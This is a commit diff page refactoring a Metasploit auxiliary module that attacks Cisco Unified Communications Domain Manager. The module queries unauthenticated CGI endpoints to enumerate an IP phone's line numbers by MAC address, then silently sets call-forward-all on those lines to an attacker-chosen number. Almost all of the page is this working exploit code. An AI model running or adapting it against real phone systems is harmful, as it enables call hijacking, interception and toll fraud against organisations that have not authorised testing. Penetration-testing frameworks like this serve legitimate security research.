Skip to content

Commit 59d602f

Browse files
committed
Refactor cisco_cucdm_callforward
1 parent 511a7f8 commit 59d602f

File tree

1 file changed

+59
-35
lines changed

1 file changed

+59
-35
lines changed

modules/auxiliary/voip/cisco_cucdm_callforward.rb

Lines changed: 59 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -46,24 +46,33 @@ def initialize(info={})
4646
end
4747

4848
def run
49+
case action.name.upcase
50+
when 'INFO'
51+
get_info
52+
when 'FORWARD'
53+
forward_calls
54+
end
55+
end
56+
57+
def get_info
4958
uri = normalize_uri(target_uri.to_s)
5059
mac = datastore["MAC"]
51-
forward_to = datastore["FORWARDTO"]
5260

5361
print_status("#{peer} - Getting fintnumbers and display names of the IP phone")
5462

5563
res = send_request_cgi(
56-
{
57-
'uri' => normalize_uri(uri, 'showcallfwd.cgi'),
58-
'method' => 'GET',
59-
'vars_get' => {
60-
'device' => "SEP#{mac}"
61-
}
62-
})
64+
{
65+
'uri' => normalize_uri(uri, 'showcallfwd.cgi'),
66+
'method' => 'GET',
67+
'vars_get' => {
68+
'device' => "SEP#{mac}"
69+
}
70+
})
6371

6472
unless res && res.code == 200 && res.body && res.body.to_s =~ /fintnumber/
6573
print_error("#{peer} - Target appears not vulnerable!")
66-
return
74+
print_status("#{res}")
75+
return []
6776
end
6877

6978
doc = REXML::Document.new(res.body)
@@ -83,42 +92,57 @@ def run
8392
print_status("#{peer} - Display Name: #{lines[i]}, Fintnumber: #{fint_numbers[i]}")
8493
end
8594

95+
fint_numbers
96+
end
97+
98+
def forward_calls
8699
# for a specific FINTNUMBER redirection
87-
fint_numbers = [datastore['FINTNUMBER']] if datastore['FINTNUMBER']
100+
uri = normalize_uri(target_uri.to_s)
101+
forward_to = datastore["FORWARDTO"]
102+
mac = datastore["MAC"]
103+
104+
if datastore['FINTNUMBER']
105+
fint_numbers = [datastore['FINTNUMBER']]
106+
else
107+
fint_numbers = get_info
108+
end
109+
110+
if fint_numbers.empty?
111+
print_error("#{peer} - FINTNUMBER required to forward calls")
112+
return
113+
end
88114

89-
if action.name.upcase == "FORWARD"
90-
fint_numbers.each do |fintnumber|
115+
fint_numbers.each do |fintnumber|
91116

92-
print_status("#{peer} - Sending call forward request for #{fintnumber}")
117+
print_status("#{peer} - Sending call forward request for #{fintnumber}")
93118

94-
send_request_cgi(
119+
send_request_cgi(
95120
{
96-
'uri' => normalize_uri(uri, 'phonecallfwd.cgi'),
97-
'method' => 'GET',
98-
'vars_get' => {
99-
'cfoption' => 'CallForwardAll',
100-
'device' => "SEP#{mac}",
101-
'ProviderName' => 'NULL',
102-
'fintnumber' => "#{fintnumber}",
103-
'telno1' => "#{forward_to}"
104-
}
121+
'uri' => normalize_uri(uri, 'phonecallfwd.cgi'),
122+
'method' => 'GET',
123+
'vars_get' => {
124+
'cfoption' => 'CallForwardAll',
125+
'device' => "SEP#{mac}",
126+
'ProviderName' => 'NULL',
127+
'fintnumber' => "#{fintnumber}",
128+
'telno1' => "#{forward_to}"
129+
}
105130
})
106131

107-
res = send_request_cgi(
132+
res = send_request_cgi(
108133
{
109-
'uri' => normalize_uri(uri, 'showcallfwdperline.cgi'),
110-
'method' => 'GET',
111-
'vars_get' => {
112-
'device' => "SEP#{mac}",
113-
'fintnumber' => "#{fintnumber}"
114-
}
134+
'uri' => normalize_uri(uri, 'showcallfwdperline.cgi'),
135+
'method' => 'GET',
136+
'vars_get' => {
137+
'device' => "SEP#{mac}",
138+
'fintnumber' => "#{fintnumber}"
139+
}
115140
})
116141

117-
if res && res.body && res.body && res.body.to_s =~ /CFA/
118-
print_good("#{peer} - Call forwarded successfully for #{fintnumber}")
119-
else
120-
print_status("#{peer} - Call forward failed.")
121-
end
142+
if res && res.body && res.body && res.body.to_s =~ /CFA/
143+
print_good("#{peer} - Call forwarded successfully for #{fintnumber}")
144+
else
145+
print_status("#{peer} - Call forward failed.")
122146
end
123147
end
124148
end

0 commit comments

Comments
 (0)